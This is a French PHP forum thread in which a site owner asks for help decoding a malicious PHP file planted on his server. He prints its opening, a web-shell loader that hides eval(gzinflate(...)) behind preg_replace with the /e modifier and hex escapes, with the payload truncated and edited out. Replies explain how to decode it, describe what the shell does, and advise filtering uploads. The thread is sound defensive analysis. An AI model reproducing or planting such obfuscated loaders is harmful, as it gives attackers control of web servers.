fonction preg_replace utilisée pour hacker

Répondre


Cette question est un moyen d’empêcher des soumissions automatisées de formulaires par des robots.
Smileys
:D :) :( :o :shock: :? 8-) :lol: :x :P :oops: :cry: :evil: :twisted: :roll: :wink: :!: :?: :idea: :arrow: :| :mrgreen: =D> #-o =P~ :^o :non: :priere: 8-|
Voir plus de smileys
  Revue du sujet
 

  Étendre la vue Revue du sujet : fonction preg_replace utilisée pour hacker

Re: fonction preg_replace utilisée pour hacker

par tymop » 02 janv. 2012, 18:08

Bonjour.

Dans le preg_replace, enlève l'option e - qui exécute le résultat du preg et fait un echo du résultat :
echo preg_replace("/.*/","blabla",".");
Tu devrais récupérer une commande php :
eval(gzinflate(...));
C'est "visible" dans le code de départ, d'ailleurs : \x65\x76\x61\x6c correspond aux codes ASCII pour eval...

Là encore, le eval demande à php d'interpréter le code à l'intérieur.
=> php va exécuter le gzinflate. C'est à dire qu'il va décompresser la chaîne donnée en entrée (après l'avoir décodée avec le decode).
Et tu peux remonter le fil jusqu'à retrouver le sens de ce code...[/quote]

Merci, c'est exactement ce que je cherchai

Re: fonction preg_replace utilisée pour hacker

par macgawel » 02 janv. 2012, 17:59

Merci pour cette réponse.
Je cherche néanmoins une méthode pour voir le résultat de cette fonction preg_replace. (curiosité oblige : j'aimerai donc savoir ce que donne le code php généré )
Je saurai ainsi ce qu'ils ont réussi à faire et si j'y suis confronté à nouveau, je pourrai savoir rapidement ce que ça fait; et ainsi réagir rapidement aussi.

Cordialement.
Bonjour.

Dans le preg_replace, enlève l'option e - qui exécute le résultat du preg et fait un echo du résultat :
echo preg_replace("/.*/","blabla",".");
Tu devrais récupérer une commande php :
eval(gzinflate(...));
C'est "visible" dans le code de départ, d'ailleurs : \x65\x76\x61\x6c correspond aux codes ASCII pour eval...

Là encore, le eval demande à php d'interpréter le code à l'intérieur.
=> php va exécuter le gzinflate. C'est à dire qu'il va décompresser la chaîne donnée en entrée (après l'avoir décodée avec le decode).
Et tu peux remonter le fil jusqu'à retrouver le sens de ce code...

Re: fonction preg_replace utilisée pour hacker

par tymop » 02 janv. 2012, 17:46

Merci pour cette réponse.
Je cherche néanmoins une méthode pour voir le résultat de cette fonction preg_replace. (curiosité oblige : j'aimerai donc savoir ce que donne le code php généré )
Je saurai ainsi ce qu'ils ont réussi à faire et si j'y suis confronté à nouveau, je pourrai savoir rapidement ce que ça fait; et ainsi réagir rapidement aussi.

Cordialement.

Re: fonction preg_replace utilisée pour hacker

par Ryle » 02 janv. 2012, 13:31

Ce script génère un code php qui est évalué (donc exécuté sur ton serveur).

Grosso modo, celui-ci commence par modifier la config du php.ini pour s'exécuter tranquillement, s'il le peut. Puis il tente d'accéder à tes fichiers de config apache.. je crois que le tout est envoyé dans une base de données en ligne (exploit-db.com ?) et au final le script propose à l'utilisateur un formulaire html pour supprimer des fichiers, craquer les mots de passe, ...

Bref, une belle saleté :) (j'ai d'ailleurs édité ton code pour éviter que quelqu'un ne l'exécute)

D'ou l'importance une fois encore de toujours contrôler les fichiers uploadés par les utilisateurs et de ne jamais laisser passer de script dont l'extension peut être interprétée par le serveur (.php, .php3, ...)

fonction preg_replace utilisée pour hacker

par tymop » 01 janv. 2012, 19:04

Bonjour,
J'ai un fichier php qui est apparu sur mon site. (ce code ne viens pas de moi et je l'ai détruit)
quoi qu'il en soit, j'ai copié ce fichier chez moi et essaye de comprendre ce qu'il fait.
Il y a principalement une fonction preg_replace que je ne parviens pas à décrypter. C'est pour cela que je viens chercher un peu d'aide.

voici le fichier en question. Attention, je pense que c'est un fichier de personnes malveillantes (en le testant , j'ai vue une page qui donne beaucoup d'infos sur le serveur et donne accès à des fonctions)

Je suggère donc de faire attention avant de l'executer ou que ce soit.
Ce que je cherche, c'est le résultat de la fonction preg_replace sans pour autant l'executer

Code : Tout sélectionner

<?php $auth_pass=""; $color="#df5"; $default_action="FilesMan"; $default_use_ajax=true; $default_charset="Windows-1251"; preg_replace("/.*/e","\x65\x76\x61 ... oNFnrTioTzyiruwUKJhh3pMV4NA8Dx4wl0Cyt6mG19lrPuV5DhqFIbuxnlGpDz3EmxVoi1OsCGtaRhAwxJiGzpjfsbzYInAnjZNHTNyijGWilQkElVKpLzXmttNOttEUrNXlrUUPt3IYa2mtI/52W24tbbsctf6QUerITh/tLvQsBHGol75kaU/LwwYP4ZDjp0FcRY6Xhl3hvUOaKT8rGB4XV7E+nxx2YoqcHx0eQG1p9ZwTMSllb7thFV5WiicmdET3qyuIYbU4Agjc9lmCpzzk5MCOz70Hc58T0t3hQDOX2hQeV7fCeoLNq9ulb+iR9awo80ZtZXK2r56dUYJbQgDn2wbjvy2c5cgh8gAi9LbaFz7lC13SwzDxAYT72vwA='\x29\x29\x29\x3B",".");?>